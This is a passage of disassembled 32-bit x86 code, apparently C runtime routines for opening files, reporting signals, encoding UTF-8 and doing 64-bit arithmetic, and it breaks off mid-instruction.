--------------------------------------------------------------------------- loc_40B892: ; CODE XREF: sub_40B310+576j mov al, [ebp+arg_4] cmp al, 65h jz short loc_40B89D cmp al, 45h jnz short loc_40B8A6 loc_40B89D: ; CODE XREF: sub_40B310+587j mov dword ptr [ebp+var_50+4], 1 jmp short loc_40B8AD ; --------------------------------------------------------------------------- loc_40B8A6: ; CODE XREF: sub_40B310+58Bj mov dword ptr [ebp+var_50+4], 0 loc_40B8AD: ; CODE XREF: sub_40B310+580j ; sub_40B310+594j mov eax, dword ptr [ebp+var_50+4] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_12], ax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_40B8CC mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_40B8CC: ; CODE XREF: sub_40B310+5B3j cmp [ebp+var_12], 0 jl short loc_40B945 mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_40B8F4 movsx eax, ax mov edx, [ebp+var_4] cmp byte ptr [edx+eax], 35h jb short loc_40B8F4 mov dword ptr [ebp+var_58], 39h jmp short loc_40B8FB ; --------------------------------------------------------------------------- loc_40B8F4: ; CODE XREF: sub_40B310+5CDj ; sub_40B310+5D9j mov dword ptr [ebp+var_58], 30h loc_40B8FB: ; CODE XREF: sub_40B310+5E2j mov eax, dword ptr [ebp+var_58] mov byte ptr [ebp+var_50+3], al movsx eax, [ebp+var_12] mov dword ptr [ebp+var_58+4], eax jmp short loc_40B90F ; --------------------------------------------------------------------------- loc_40B90A: ; CODE XREF: sub_40B310+60Fj sub [ebp+var_12], 1 loc_40B90F: ; CODE XREF: sub_40B310+5F8j mov eax, dword ptr [ebp+var_58+4] dec eax mov dword ptr [ebp+var_58+4], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_50+3] cmp [edx+eax], cl jz short loc_40B90A cmp byte ptr [ebp+var_50+3], 39h jnz short loc_40B932 mov eax, dword ptr [ebp+var_58+4] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_40B932: ; CODE XREF: sub_40B310+615j cmp dword ptr [ebp+var_58+4], 0 jge short loc_40B945 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 1 loc_40B945: ; CODE XREF: sub_40B310+161j ; sub_40B310+365j ... movsx eax, [ebp+var_14] push eax movsx eax, [ebp+var_12] push eax mov eax, [ebp+var_4] push eax movzx eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40C470 add esp, 14h loc_40B964: ; CODE XREF: sub_40B310+B4j ; sub_40B310+106j mov esp, ebp pop ebp retn sub_40B310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B970 proc near ; CODE XREF: sub_40A6A0+5Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea ebx, [ebp+arg_8] lea eax, [ebx+4] mov ebx, eax mov esi, [eax-4] push esi push 40h mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40B9A0 add esp, 10h pop esi pop ebx pop ebp retn sub_40B970 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9A0 proc near ; CODE XREF: sub_40B970+1Bp var_3C = dword ptr -3Ch var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 3Ch push ebx push esi push edi mov ebx, [ebp+arg_4] mov [ebp+var_10], 0Ch mov [ebp+var_C], 0 test ebx, 80h jz short loc_40B9CF mov [ebp+var_8], 0 mov [ebp+var_1], 10h jmp short loc_40B9DA ; --------------------------------------------------------------------------- loc_40B9CF: ; CODE XREF: sub_40B9A0+20j mov [ebp+var_8], 1 mov [ebp+var_1], 0 loc_40B9DA: ; CODE XREF: sub_40B9A0+2Dj test ebx, 8000h jnz short loc_40B9EE test ebx, 4000h jz short loc_40B9EE or [ebp+var_1], 80h loc_40B9EE: ; CODE XREF: sub_40B9A0+40j ; sub_40B9A0+48j mov edi, ebx and edi, 3 jz short loc_40BA01 cmp edi, 1 jz short loc_40BA0A cmp edi, 2 jz short loc_40BA13 jmp short loc_40BA1C ; --------------------------------------------------------------------------- loc_40BA01: ; CODE XREF: sub_40B9A0+53j mov [ebp+var_20], 80000000h jmp short loc_40BA2F ; --------------------------------------------------------------------------- loc_40BA0A: ; CODE XREF: sub_40B9A0+58j mov [ebp+var_20], 40000000h jmp short loc_40BA2F ; --------------------------------------------------------------------------- loc_40BA13: ; CODE XREF: sub_40B9A0+5Dj mov [ebp+var_20], 0C0000000h jmp short loc_40BA2F ; --------------------------------------------------------------------------- loc_40BA1C: ; CODE XREF: sub_40B9A0+5Fj call sub_408460 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_40BD79 ; --------------------------------------------------------------------------- loc_40BA2F: ; CODE XREF: sub_40B9A0+68j ; sub_40B9A0+71j ... mov eax, [ebp+arg_8] cmp eax, 20h jz short loc_40BA5C jg short loc_40BA41 cmp [ebp+arg_8], 10h jz short loc_40BA53 jmp short loc_40BA77 ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40B9A0+97j mov eax, [ebp+arg_8] cmp eax, 30h jz short loc_40BA65 jl short loc_40BA77 cmp [ebp+arg_8], 40h jz short loc_40BA6E jmp short loc_40BA77 ; --------------------------------------------------------------------------- loc_40BA53: ; CODE XREF: sub_40B9A0+9Dj mov [ebp+var_28], 0 jmp short loc_40BA8A ; --------------------------------------------------------------------------- loc_40BA5C: ; CODE XREF: sub_40B9A0+95j mov [ebp+var_28], 1 jmp short loc_40BA8A ; --------------------------------------------------------------------------- loc_40BA65: ; CODE XREF: sub_40B9A0+A7j mov [ebp+var_28], 2 jmp short loc_40BA8A ; --------------------------------------------------------------------------- loc_40BA6E: ; CODE XREF: sub_40B9A0+AFj mov [ebp+var_28], 3 jmp short loc_40BA8A ; --------------------------------------------------------------------------- loc_40BA77: ; CODE XREF: sub_40B9A0+9Fj ; sub_40B9A0+A9j ... call sub_408460 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_40BD79 ; --------------------------------------------------------------------------- loc_40BA8A: ; CODE XREF: sub_40B9A0+BAj ; sub_40B9A0+C3j ... mov eax, ebx and eax, 700h mov [ebp+var_3C], eax cmp eax, 300h jz short loc_40BB0E jg short loc_40BABC mov eax, [ebp+var_3C] cmp eax, 100h jz short loc_40BAF3 jg short loc_40BAB1 cmp [ebp+var_3C], 0 jz short loc_40BAEA jmp short loc_40BB17 ; --------------------------------------------------------------------------- loc_40BAB1: ; CODE XREF: sub_40B9A0+107j cmp [ebp+var_3C], 200h jz short loc_40BB05 jmp short loc_40BB17 ; --------------------------------------------------------------------------- loc_40BABC: ; CODE XREF: sub_40B9A0+FBj mov eax, [ebp+var_3C] cmp eax, 500h jz short loc_40BAFC jg short loc_40BAD3 cmp [ebp+var_3C], 400h jz short loc_40BAEA jmp short loc_40BB17 ; --------------------------------------------------------------------------- loc_40BAD3: ; CODE XREF: sub_40B9A0+126j mov eax, [ebp+var_3C] cmp eax, 600h jz short loc_40BB05 jl short loc_40BB17 cmp [ebp+var_3C], 700h jz short loc_40BAFC jmp short loc_40BB17 ; --------------------------------------------------------------------------- loc_40BAEA: ; CODE XREF: sub_40B9A0+10Dj ; sub_40B9A0+12Fj mov [ebp+var_24], 3 jmp short loc_40BB2A ; --------------------------------------------------------------------------- loc_40BAF3: ; CODE XREF: sub_40B9A0+105j mov [ebp+var_24], 4 jmp short loc_40BB2A ; --------------------------------------------------------------------------- loc_40BAFC: ; CODE XREF: sub_40B9A0+124j ; sub_40B9A0+146j mov [ebp+var_24], 1 jmp short loc_40BB2A ; --------------------------------------------------------------------------- loc_40BB05: ; CODE XREF: sub_40B9A0+118j ; sub_40B9A0+13Bj mov [ebp+var_24], 5 jmp short loc_40BB2A ; --------------------------------------------------------------------------- loc_40BB0E: ; CODE XREF: sub_40B9A0+F9j mov [ebp+var_24], 2 jmp short loc_40BB2A ; --------------------------------------------------------------------------- loc_40BB17: ; CODE XREF: sub_40B9A0+10Fj ; sub_40B9A0+11Aj ... call sub_408460 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_40BD79 ; --------------------------------------------------------------------------- loc_40BB2A: ; CODE XREF: sub_40B9A0+151j ; sub_40B9A0+15Aj ... mov [ebp+var_14], 80h test ebx, 100h jz short loc_40BB58 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax add eax, 4 mov [ebp+var_2C], eax mov eax, [eax-4] mov [ebp+var_30], eax test byte ptr [ebp+var_30], 80h jnz short loc_40BB58 mov [ebp+var_14], 1 loc_40BB58: ; CODE XREF: sub_40B9A0+197j ; sub_40B9A0+1AFj test ebx, 40h jz short loc_40BB6E or [ebp+var_14], 4000000h or [ebp+var_20], 10000h loc_40BB6E: ; CODE XREF: sub_40B9A0+1BEj test ebx, 1000h jz short loc_40BB7D or [ebp+var_14], 100h loc_40BB7D: ; CODE XREF: sub_40B9A0+1D4j test ebx, 20h jz short loc_40BB8E or [ebp+var_14], 8000000h jmp short loc_40BB9D ; --------------------------------------------------------------------------- loc_40BB8E: ; CODE XREF: sub_40B9A0+1E3j test ebx, 10h jz short loc_40BB9D or [ebp+var_14], 10000000h loc_40BB9D: ; CODE XREF: sub_40B9A0+1ECj ; sub_40B9A0+1F4j call sub_40A990 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40BBBC call sub_408460 mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp loc_40BD79 ; --------------------------------------------------------------------------- loc_40BBBC: ; CODE XREF: sub_40B9A0+207j push 0 mov eax, [ebp+var_14] push eax mov eax, [ebp+var_24] push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+var_28] push eax mov eax, [ebp+var_20] push eax mov eax, [ebp+arg_0] push eax call dword_411DD0 mov [ebp+var_18], eax cmp eax, 0FFFFFFFFh jnz short loc_40BC02 call dword_411CE8 push eax call sub_408300 pop ecx push esi call sub_40ADA0 pop ecx or eax, 0FFFFFFFFh jmp loc_40BD79 ; --------------------------------------------------------------------------- loc_40BC02: ; CODE XREF: sub_40B9A0+244j mov eax, [ebp+var_18] push eax call dword_411DEC mov [ebp+var_1C], eax test eax, eax jnz short loc_40BC39 mov eax, [ebp+var_18] push eax call dword_411CF8 call dword_411CE8 push eax call sub_408300 pop ecx push esi call sub_40ADA0 pop ecx or eax, 0FFFFFFFFh jmp loc_40BD79 ; --------------------------------------------------------------------------- loc_40BC39: ; CODE XREF: sub_40B9A0+271j cmp [ebp+var_1C], 2 jnz short loc_40BC45 or [ebp+var_1], 40h jmp short loc_40BC4F ; --------------------------------------------------------------------------- loc_40BC45: ; CODE XREF: sub_40B9A0+29Dj cmp [ebp+var_1C], 3 jnz short loc_40BC4F or [ebp+var_1], 8 loc_40BC4F: ; CODE XREF: sub_40B9A0+2A3j ; sub_40B9A0+2A9j mov eax, [ebp+var_18] push eax push esi call sub_40AB70 add esp, 8 or [ebp+var_1], 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] mov cl, [ebp+var_1] mov [edx+eax+4], cl movzx eax, [ebp+var_1] test eax, 48h jnz loc_40BD47 test eax, 80h jz loc_40BD47 test ebx, 2 jz loc_40BD47 push 2 push 0FFFFFFFFh push esi call sub_40BEB0 add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_40BCDD call dword_411CE8 cmp eax, 83h jz loc_40BD47 push esi call sub_408E40 pop ecx push esi call sub_40ADA0 pop ecx or eax, 0FFFFFFFFh jmp loc_40BD79 ; --------------------------------------------------------------------------- loc_40BCDD: ; CODE XREF: sub_40B9A0+314j mov [ebp+var_35], 0 push 1 lea eax, [ebp+var_35] push eax push esi call sub_40C950 add esp, 0Ch test eax, eax jnz short loc_40BD1F cmp [ebp+var_35], 1Ah jnz short loc_40BD1F mov eax, [ebp+var_34] push eax push esi call sub_40CD10 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_40BD1F push esi call sub_408E40 pop ecx push esi call sub_40ADA0 pop ecx or eax, 0FFFFFFFFh jmp short loc_40BD79 ; --------------------------------------------------------------------------- loc_40BD1F: ; CODE XREF: sub_40B9A0+352j ; sub_40B9A0+358j ... push 0 push 0 push esi call sub_40BEB0 add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_40BD47 push esi call sub_408E40 pop ecx push esi call sub_40ADA0 pop ecx or eax, 0FFFFFFFFh jmp short loc_40BD79 ; --------------------------------------------------------------------------- loc_40BD47: ; CODE XREF: sub_40B9A0+2E4j ; sub_40B9A0+2EFj ... test [ebp+var_1], 48h jnz short loc_40BD70 test ebx, 8 jz short loc_40BD70 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 20h loc_40BD70: ; CODE XREF: sub_40B9A0+3ABj ; sub_40B9A0+3B3j push esi call sub_40ADA0 pop ecx mov eax, esi loc_40BD79: ; CODE XREF: sub_40B9A0+8Aj ; sub_40B9A0+E5j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40B9A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD80 proc near ; CODE XREF: sub_40A710+2p var_14 = dword ptr -14h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push 1 mov eax, [ebp+arg_0] push eax call sub_40AE10 add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40BDA7 or eax, 0FFFFFFFFh jmp loc_40BEA4 ; --------------------------------------------------------------------------- loc_40BDA7: ; CODE XREF: sub_40BD80+1Dj cmp ebx, 1 jz loc_40BEA2 test ebx, ebx jz short loc_40BDCE push 0 mov eax, [ebp+arg_0] push eax call sub_40AE10 add esp, 8 mov eax, [ebp+arg_0] push eax call ebx pop ecx jmp loc_40BEA2 ; --------------------------------------------------------------------------- loc_40BDCE: ; CODE XREF: sub_40BD80+32j mov eax, [ebp+arg_0] cmp eax, 2 jl short loc_40BE23 cmp eax, 0Bh jg short loc_40BDE2 jmp dword ptr byte_410120[eax*4] ; --------------------------------------------------------------------------- loc_40BDE2: ; CODE XREF: sub_40BD80+59j cmp [ebp+arg_0], 0Fh jz short loc_40BE1A jmp short loc_40BE23 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aAbort ; "abort" jmp loc_40BE77 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aArithmeticErro ; "arithmetic error" jmp short loc_40BE77 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidExecuta ; "invalid executable code" jmp short loc_40BE77 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInterruption ; "interruption" jmp short loc_40BE77 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidStorage ; "invalid storage access" jmp short loc_40BE77 ; --------------------------------------------------------------------------- loc_40BE1A: ; CODE XREF: sub_40BD80+66j mov [ebp+var_4], offset aTerminationReq ; "termination request" jmp short loc_40BE77 ; --------------------------------------------------------------------------- loc_40BE23: ; CODE XREF: sub_40BD80+54j ; sub_40BD80+68j lea eax, [ebp+var_5] mov [ebp+var_4], eax mov [ebp+var_5], 0 loc_40BE2D: ; CODE XREF: sub_40BD80+E3j mov eax, [ebp+var_4] dec eax mov [ebp+var_14], eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov ecx, 0Ah cdq idiv ecx lea eax, [edx+30h] mov edx, [ebp+var_14] mov [edx], al mov eax, [ebp+arg_0] push eax mov edx, 66666667h imul edx pop eax shr eax, 1Fh sar edx, 2 add eax, edx mov [ebp+arg_0], eax test eax, eax jnz short loc_40BE2D push offset dword_411324 push offset aSignal ; "signal #" call sub_40CEC0 add esp, 8 loc_40BE77: ; CODE XREF: sub_40BD80+71j ; sub_40BD80+7Dj ... push offset dword_411324 mov eax, [ebp+var_4] push eax call sub_40CEC0 add esp, 8 push offset dword_411324 push offset aTerminating ; " -- terminating\n" call sub_40CEC0 add esp, 8 push 1 call sub_407AA0 pop ecx loc_40BEA2: ; CODE XREF: sub_40BD80+2Aj ; sub_40BD80+49j xor eax, eax loc_40BEA4: ; CODE XREF: sub_40BD80+22j pop ebx mov esp, ebp pop ebp retn sub_40BD80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEB0 proc near ; CODE XREF: sub_40A730+4Bp ; sub_40B9A0+306p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] push ebx call sub_40AC20 pop ecx mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_40BED9 call sub_408460 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40BF22 ; --------------------------------------------------------------------------- loc_40BED9: ; CODE XREF: sub_40BEB0+17j mov eax, [ebp+arg_8] push eax push 0 mov eax, [ebp+arg_4] push eax push edi call dword_411E14 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40BF05 call dword_411CE8 push eax call sub_408300 pop ecx or eax, 0FFFFFFFFh jmp short loc_40BF22 ; --------------------------------------------------------------------------- loc_40BF05: ; CODE XREF: sub_40BEB0+41j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FDh mov eax, esi loc_40BF22: ; CODE XREF: sub_40BEB0+27j ; sub_40BEB0+53j pop edi pop esi pop ebx pop ebp retn sub_40BEB0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A88 jnb short loc_40BF5B mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40BF6B loc_40BF5B: ; CODE XREF: DMN0:0040BF3Ej call sub_408460 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40BF8E ; --------------------------------------------------------------------------- loc_40BF6B: ; CODE XREF: DMN0:0040BF59j push ebx call sub_40AD40 pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_40BEB0 add esp, 0Ch mov esi, eax push ebx call sub_40ADA0 pop ecx mov eax, esi loc_40BF8E: ; CODE XREF: DMN0:0040BF69j pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA0 proc near ; CODE XREF: sub_40AF70+9Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push ebx cmp off_411924, 0 jnz loc_40C087 mov eax, [ebp+arg_0] mov [ebp+var_8], eax cmp [ebp+arg_0], 0 jnz short loc_40BFDB mov eax, [ebp+arg_8] mov ecx, dword_4101D4 mov ebx, dword_4101D8 mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_40C1DD ; --------------------------------------------------------------------------- loc_40BFDB: ; CODE XREF: sub_40BFA0+1Ej test [ebp+arg_4], 0FF80h jnz short loc_40BFFB mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] mov [eax], dl mov [ebp+var_4], 0 jmp short loc_40C074 ; --------------------------------------------------------------------------- loc_40BFFB: ; CODE XREF: sub_40BFA0+41j test [ebp+arg_4], 0F800h jnz short loc_40C024 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 6 or edx, 0C0h mov [eax], dl mov [ebp+var_4], 1 jmp short loc_40C074 ; --------------------------------------------------------------------------- loc_40C024: ; CODE XREF: sub_40BFA0+61j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 0Ch and edx, 0Fh or edx, 0E0h mov [eax], dl mov [ebp+var_4], 2 jmp short loc_40C074 ; --------------------------------------------------------------------------- loc_40C048: ; CODE XREF: sub_40BFA0+D8j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, [ebp+var_4] dec edx mov [ebp+var_4], edx movzx ecx, [ebp+arg_4] mov [ebp+var_C], ecx lea ecx, [edx+edx*2] add ecx, ecx mov edx, [ebp+var_C] sar edx, cl and edx, 3Fh or edx, 80h mov [eax], dl loc_40C074: ; CODE XREF: sub_40BFA0+59j ; sub_40BFA0+82j ... cmp [ebp+var_4], 0 jg short loc_40C048 mov eax, [ebp+var_8] mov edx, [ebp+arg_0] sub eax, edx jmp loc_40C1DD ; --------------------------------------------------------------------------- loc_40C087: ; CODE XREF: sub_40BFA0+Ej mov eax, [ebp+arg_8] movzx eax, word ptr [eax+6] mov byte ptr [ebp+var_4+3], al mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 cmp [ebp+arg_0], 0 jnz short loc_40C0D2 mov eax, [ebp+arg_8] mov ecx, dword_4101D4 mov ebx, dword_4101D8 mov [eax], ecx mov [eax+4], ebx mov eax, off_411924 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_40C1DD ; --------------------------------------------------------------------------- loc_40C0D2: ; CODE XREF: sub_40BFA0+10Aj ; sub_40BFA0+229j mov al, byte ptr [ebp+var_4+3] cmp al, 10h jnb short loc_40C118 movzx eax, al mov eax, off_411964[eax*4] mov [ebp+var_18], eax test eax, eax jz short loc_40C118 movzx eax, byte_4118A0 cmp [ebp+var_8], eax jge short loc_40C118 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_40C118 movzx eax, byte ptr [ebp+arg_4] mov edx, [ebp+var_18] mov ax, [edx+eax*2] mov [ebp+var_12], ax test ax, ax jnz short loc_40C12B loc_40C118: ; CODE XREF: sub_40BFA0+137j ; sub_40BFA0+148j ... call sub_408460 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_40C1DD ; --------------------------------------------------------------------------- loc_40C12B: ; CODE XREF: sub_40BFA0+176j movzx eax, [ebp+var_12] mov edx, eax and edx, 0F00h sar edx, 8 mov byte ptr [ebp+var_4+3], dl test eax, 8000h jz short loc_40C157 movzx eax, [ebp+arg_4] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_12] or eax, edx mov [ebp+arg_4], ax loc_40C157: ; CODE XREF: sub_40BFA0+1A2j test [ebp+var_12], 1000h jz short loc_40C179 movzx eax, [ebp+arg_4] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+arg_4], ax loc_40C179: ; CODE XREF: sub_40BFA0+1BDj test [ebp+var_12], 2000h jz short loc_40C1BD mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx test [ebp+var_12], 0FFh jz short loc_40C19B movzx edx, [ebp+var_12] mov [ebp+var_1C], edx jmp short loc_40C1A2 ; --------------------------------------------------------------------------- loc_40C19B: ; CODE XREF: sub_40BFA0+1F0j movzx edx, [ebp+arg_4] mov [ebp+var_1C], edx loc_40C1A2: ; CODE XREF: sub_40BFA0+1F9j mov edx, [ebp+var_1C] mov ecx, [ebp+arg_0] mov [ecx+eax], dl test dl, dl jnz short loc_40C1B6 mov [ebp+var_10], 1 loc_40C1B6: ; CODE XREF: sub_40BFA0+20Dj mov [ebp+var_C], 0 loc_40C1BD: ; CODE XREF: sub_40BFA0+1DFj test [ebp+var_12], 4000h jnz short loc_40C1CF cmp [ebp+var_10], 0 jz loc_40C0D2 loc_40C1CF: ; CODE XREF: sub_40BFA0+223j mov edx, [ebp+arg_8] movzx eax, byte ptr [ebp+var_4+3] mov [edx+6], ax mov eax, [ebp+var_8] loc_40C1DD: ; CODE XREF: sub_40BFA0+36j ; sub_40BFA0+E2j ... pop ebx mov esp, ebp pop ebp retn sub_40BFA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C1F0 proc near ; CODE XREF: sub_40B0C0+CFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_4] or eax, eax jnz short loc_40C211 mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_C] xor edx, edx div ecx mov eax, [esp+4+arg_8] div ecx mov eax, edx xor edx, edx jmp short loc_40C261 ; --------------------------------------------------------------------------- loc_40C211: ; CODE XREF: sub_40C1F0+7j mov ecx, eax mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_C] mov eax, [esp+4+arg_8] loc_40C21F: ; CODE XREF: sub_40C1F0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40C21F div ebx mov ecx, eax mul [esp+4+arg_4] xchg eax, ecx mul [esp+4+arg_0] add edx, ecx jb short loc_40C24A cmp edx, [esp+4+arg_C] ja short loc_40C24A jb short loc_40C252 cmp eax, [esp+4+arg_8] jbe short loc_40C252 loc_40C24A: ; CODE XREF: sub_40C1F0+4Aj ; sub_40C1F0+50j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] loc_40C252: ; CODE XREF: sub_40C1F0+52j ; sub_40C1F0+58j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] neg edx neg eax sbb edx, 0 loc_40C261: ; CODE XREF: sub_40C1F0+1Fj pop ebx retn 10h sub_40C1F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C270 proc near ; CODE XREF: sub_40B0C0+116p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_40C291 inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_40C291: ; CODE XREF: sub_40C270+Bj mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_40C2AD inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_40C2AD: ; CODE XREF: sub_40C270+27j or eax, eax jnz short loc_40C2C9 mov ecx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_8] div ecx mov edx, ebx jmp short loc_40C30A ; --------------------------------------------------------------------------- loc_40C2C9: ; CODE XREF: sub_40C270+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_C] mov eax, [esp+0Ch+arg_8] loc_40C2D7: ; CODE XREF: sub_40C270+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_40C2D7 div ecx mov esi, eax mul [esp+0Ch+arg_4] mov ecx, eax mov eax, [esp+0Ch+arg_0] mul esi add edx, ecx jb short loc_40C305 cmp edx, [esp+0Ch+arg_C] ja short loc_40C305 jb short loc_40C306 cmp eax, [esp+0Ch+arg_8] jbe short loc_40C306 loc_40C305: ; CODE XREF: sub_40C270+85j ; sub_40C270+8Bj dec esi loc_40C306: ; CODE XREF: sub_40C270+8Dj ; sub_40C270+93j xor edx, edx mov eax, esi loc_40C30A: ; CODE XREF: sub_40C270+57j dec edi jnz short loc_40C314 neg edx neg eax sbb edx, 0 loc_40C314: ; CODE XREF: sub_40C270+9Bj pop ebx pop esi pop edi retn 10h sub_40C270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C320 proc near ; CODE XREF: sub_40B0C0+13Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] or ecx, eax mov ecx, [esp+arg_0] jnz short loc_40C339 mov eax, [esp+arg_8] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_40C339: ; CODE XREF: sub_40C320+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_8] mul [esp+4+arg_4] add ebx, eax mov eax, [esp+4+arg_8] mul ecx add edx, ebx pop ebx retn 10h sub_40C320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C360 proc near ; CODE XREF: sub_40B300+5p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] movzx eax, word ptr [ecx+6] and eax, 7FF0h cmp eax, 7FF0h jnz short loc_40C3A3 test word ptr [ecx+6], 0Fh jnz short loc_40C390 cmp word ptr [ecx+4], 0 jnz short loc_40C390 cmp word ptr [ecx+2], 0 jnz 